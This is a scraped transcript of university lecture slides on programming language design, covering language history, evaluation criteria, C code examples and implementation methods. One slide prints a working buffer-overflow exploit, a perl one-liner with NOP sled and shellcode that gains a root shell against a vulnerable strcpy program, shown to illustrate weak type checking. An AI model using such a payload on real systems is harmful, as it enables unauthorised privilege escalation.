1 / 41

Programming Language Design Chapter 1

Programming Language Design Chapter 1. CS 35000 Programming Language Design Indiana University – Purdue University Fort Wayne. Value of Language Concepts. History and Now Began programming in 1990’s Dominant languages were Pascal, C, and C++

mtravis
Download Presentation

Programming Language Design Chapter 1

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Programming Language DesignChapter 1 CS 35000 Programming Language Design Indiana University – Purdue University Fort Wayne

  2. Value of Language Concepts • History and Now • Began programming in 1990’s • Dominant languages were Pascal, C, and C++ • Most of the languages were designed to running on a single machine • Today: Most of the popular language have to considered their availability for • Web application • Mobile application/Cloud computing • Service-oriented environment • Security • Big Data

  3. Why Take This Course? • Learn dominant and popular languages • Use languages to solve real-world problems • Learn programming technologies for the web • Understand the languages you use, by comparison • Appreciate history, diversity of ideas in programming • Important implementation ideas • Be prepared for new programming languages, paradigms, tools • Job, job, job!!! – Search “software developer salary” in Google

  4. Language goals and Its Role Architect Programmer Programming Language Testing Compiler, Runtime environ-ment DiagnosticTools

  5. Outlines/Contents of Chapter 1 • Reasons for Studying Programming Languages • Programming Domains • Language Evaluation Criteria • Influences on Language Design • Language Categories • Language Design Trade-Offs • Implementation Methods • Programming Environments

  6. Reasons for Studying Programming Languages • The expressive power of the language we use to communicate influences the depth at which we can think • If you cannot describe by using a language, it is hard to conceptualize structures of ideas • Consider implementing a complex application in assembly language • Does not provide the concept of object-oriented programming • Less expressive • Unless required by the application, we may try to avoid programming in assembly language

  7. Reasons for Studying Programming Languages • Be Familiar with languages’ features…. • Choose the best language for the problem • Popular languages?  May not be ideal! • Cheap software/compiler?  Might be a good reason • Programmer’s familiarity with a related language  Might be a good reason • Many more… • Foundation for learning new languages

  8. Reasons for Studying Programming Languages • Understanding of runtime and implementation issues • Relative efficiency of alternative constructs • Common bugs • Proper use of a language • Overall advancement of computing

  9. Programming Domains • Web Applications • Markup languages • HTML/XHTML • Scripting languages • A list of commands is placed in a file or in document for execution without being compiled. They are interpreted by another program at run time rather than compiled by the computer’s processor as other PLs, such as C and C++ are. • Shell, Perl, JavaScript, PHP, Ruby, Lua, Python • Mobile Computing • Object C/J2ME

  10. Programming Domains • Scientific applications • Large number of floating point computations • Examples: Matlab, R, Mathematica • Business applications • Produce software and reports • Examples: SQL, Java, C#, .NET

  11. Programming Domains • Artificial intelligence • Require to manipulate symbols, rather than numbers • Examples: LISP and Prolog • Systems programming • Need for efficiency and high performance • Need to access low-level device drivers and the kernel of Operating System • Examples: C/C++

  12. Outline • Language Evaluation Criteria • The Motivation of Modern Programming Languages • Language Implementation Issues

  13. Language Evaluation Criteria • Readability • Writability • Reliability & Security • Cost • Other -- portability, generality, well-definition

  14. Readability • Maintenance cost of a software can be 70 – 90% of system lifecycle cost • Overall simplicity is one feature of Readability • Too many features are bad Reader of a program may not familiar with the subset of the language, which used by the programmer • Multiplicity of features is bad – 1+ way to accomplish the same task Are you confused by Java I/O choices? • Operator overloading is bad  one operator has 1+ meaning Java I/O API : http://docs.oracle.com/javase/1.4.2/docs/api/java/io/package-summary.html

  15. Readability (‘Cont) • Orthogonality is an important guideline of designing a language with good Readability • Orthogonality In mathematics, “orthogonalityis the relation of two lines at right angles to one another (perpendicularity), and the generalization of this relation into n dimensions; it has been used to describe non-overlapping, uncorrelated, or independent objects of some kind. “--- Wiki It means non-redundant, non-overlapping or irrelevant. The characteristic of something being independent from something else. The line segments AB and CD are orthogonal to each other.

  16. Readability (‘Cont) • Orthogonality context independent • Combine a relatively small set of primitive constructs in a relatively small number of ways to get the desired results • Consistent set of rules for combining constructs (simplicity) • Every possible combination is legal • Makes a language easy to read and learn A PL is orthogonal if its features can be used without thinking about how that usage will affect other features.

  17. Orthogonality Example • Example: in C you can't return an array(static array), C is said to be non-orthognalin this case int * func( ) { …} //return a array from a function //by declaring a func returning a pointer. //define the local variable as static //variable, for C does not advocate to //return the address of a local variable to //outside the function.

  18. The following function which will generate 10 random numbers and return them using an array and call this function as follows: #include <stdio.h> /* function to generate and return random numbers */ int* getRandom( ) { static int r[10]; inti; /* set the seed */ srand( (unsigned)time( NULL ) ); for ( i = 0; i < 10; ++i) { r[i] = rand(); printf( "r[%d] = %d\n", i, r[i]); } return r; }

  19. /* main function to call above defined function */ intmain () { /* a pointer to an int */ int*p; inti; p = getRandom(); for ( i = 0; i < 10; i++ ) { printf( "*(p + %d) : %d\n", i, *(p + i)); } return 0; }

  20. When the above code is compiled together and executed, it produces the following result: r[0] = 313959809 r[1] = 1759055877 r[2] = 1113101911 r[3] = 2133832223 r[4] = 2073354073 r[5] = 167288147 r[6] = 1827471542 r[7] = 834791014 r[8] = 1901409888 r[9] = 1990469526 *(p + 0) : 313959809 *(p + 1) : 1759055877 *(p + 2) : 1113101911 *(p + 3) : 2133832223 *(p + 4) : 2073354073 *(p + 5) : 167288147 *(p + 6) : 1827471542 *(p + 7) : 834791014 *(p + 8) : 1901409888 *(p + 9) : 1990469526

  21. Example in C intmy_array[] = {1,23,17,4,-5,100}; int *ptr; int* addOne(void) { inti; ptr = &my_array[0]; /* point to the first element of the array */ for (i = 0; i < 6; i++){ *(ptr + i) = *(ptr + i)+1; } return ptr; } int main(void) { inti; ptr = addOne(); for (i = 0; i < 6; i++){ printf("ptr + %d = %d\n",i, *(ptr + i)); } return 0; } A functions can returnstructs, but not arrays • Due to some historical reason, some languages were not designed to be strictly following the principle of “Orthogonality ” • A language should use a unified interface to input/output various data type, if it follows the principle of orthogonality • However, … typedefstruct { int x; int y; } Coodinate; Coordinate ShiftX(Coordinate a, int offset) { Coordinate ret; ret.x=a.x+offset; ret.y=a.y; return ret; }

  22. Readability Readability also refers to the following characteristics: • Convenient control statements • Ability to define different data types and structures • Syntax considerations • Meaningful reserved words  The meaning those words should be straightforward

  23. Writability • Most readability factors also apply to writability • Overly simplicity and orthogonality • Control statements, data types and structures • Support for abstraction the ability express complicated data and procedure • Data abstraction • Process abstraction • Expressivity Convenient way to specify computation. From writability’s perspective: • Count++ is better than Count=Count+1

  24. Reliability & Security • Readability and writability both influence reliability and security • Reliability & Security • Type checking • Famous failure of space shuttle experiment due to int/ float mix-up in parameter passing • Exception handling • Ability to handle run-time errors • Aliasing • Ability to use different names to reference the same memory • It might become a dangerous feature!

  25. Why??? Buffer Overflow Attack in C [anyi@ubuntu]$ whoami anyi [anyi@ubuntu]$ ./test `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80 \x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'` sh-3.00# whoami root sh-3.00# id uid=0(root) gid=502(anyi) groups=502(anyi) • This attack escalates a normal use to root test.c #include <unistd.h> int main(intargc, char *argv[]){ char buff[100]; /*if no argument…*/ if(argc <2){ printf("Syntax: %s <input string>\n", argv[0]); exit (0); } strcpy(buff, argv[1]); return 0; } This problem (vulnerability) is caused by poor “type checking”

  26. SQL Injection: An Attack Caused By Weak Type Checking • http://en.wikipedia.org/wiki/SQL_injection • Attacks could happen from outside • 83% of web sites have at least one serious vulnerability1 • Symptoms: SQL injection attacks, Cross-site script attacks, etc SQL injection is a technique where malicious users can inject SQL commands into an SQL statement. An attacker can execute malicious SQL statements (also referred to as a malicious payload) the control a web application database server (referred as a RDBMS). • Demo: • https://www.youtube.com/watch?v=J6v_W-LFK1c

  27. Cost and Others • Cost • Purchasing license • Training programmers to use a language • Writing programs in a particular problem domain • Compiling/ Executing programs • Reliability/Security • Maintaining programs • Others: portability, generality, well-definition

  28. Language Design Trade-Offs • Designing a programming language involves numerous compromises and trade-offs. For example, • Writabilityv.s. Reliability • Pascal variant records are flexible but not safe • C++ pointers are flexible but not safe • Reliability v.s. Efficiency • Range checking for array references?

  29. Outline • Language Evaluation Criteria • The Motivation of Modern Programming Languages • Language Implementation Issues

  30. The Motivation of Modern Programming Languages • What factors shapesthe current specifications of programming languages? • The advance of computer hardware • The historic reasons • Language designer’s preferences/choices • Aspects of scientific and business applications

  31. The Advance Of Computer Hardware Store instructions and data • Von Neumann Computer Architecture • The first draft of Modern computer (1945) • Still used today • Features: • Data and programs stored in same memory • Memory is separate from CPU • Instructions and data are piped from memory to CPU Request of operations Instructions and data CPU

  32. Influences on Language Design • Based on the Von Neumann Architecture, the modern programming languages must be designed as imperative languages, whose key features are: • Use Statementsthat change a program state • Use Variables to model memory cells • Use Assignment statements to model piping • Use Iteration to implement repetition • Use Condition Statement to implement decision-making

  33. The Historic Reasons • Programming methodologies changes • 1950s and early 1960s • Simple applications • Primarily concern about machine efficiency • Late 1960s • “People efficiency” became important • Readability • Better control structures • Structured programming • Top-down design and step-wise refinement

  34. The Historic Reasons • Programming methodologies changes • Late 1970s • Process-oriented techniques yielded to data-oriented techniques • Data abstraction • Middle 1980s to present • Object-oriented languages • Encapsulation with data abstraction • Inheritance • Dynamic method binding • Smalltalk (1980) and Java (1995) • Concurrent and parallel languages • Creating and controlling concurrent program units

  35. Outline • Language Evaluation Criteria • The Motivation of Modern Programming Languages • Language Implementation Issues

  36. Implementation Methods: Compilation Source Code • Translates a high-level program to machine code • Features: • Slow translation • Fast execution • Separate compiled units must be combined by a linker into an executable (.exe file) Compiler Lexical Analyzer Intermediate Code Syntax Analyzer Semantic Analyzer Code Generator Machine Code Input data Computer

  37. Implementation Methods: Pure Interpretation Source Code • An interpreter is a computer program that directly executes (performs) instructions written in a programming or scription languages, without previously compiling them into a machine program. Input data Interpreter Machine Code Computer

  38. Implementation Methods: Pure Interpretation Source Code • No translation before execution • Features: • Slow execution • Loop statements are repeatedly translated • Some web scripting languages still prefer pure interpretation: • JavaScript • PHP • Why? Input data Interpreter Machine Code Computer

  39. Implementation Methods: Hybrid Implementation Systems Source Code Compiler • Translates a high-level language to intermediate code, and then interpret it • The Intermediate code is called bytecode • The Java interpreter is the JVM later on • Each statement is translated only once in contrast to pure interpretation • Medium execution speed • Just-In-Time (JIT) technology now widely used with Java and .NET Lexical Analyzer Syntax Analyzer Intermediate Code Generator Intermediate Code (bytecode) Interpreter Input data Machine Code Computer

  40. Programming Environments • The collection of tools used in software development, which AKA integrated development environment (IDE) • File system, text editor, compiler, linker • Eclipse/Netbean • An integrated development environment for Java and other languages • Microsoft Visual Studio.NET • A large, complex visual environment • Used to program in C#, Visual BASIC.NET, Jscript, J#, and C++

  41. Can we programming with natural language? https://www.youtube.com/watch?v=2vT0AWDq3DE

More Related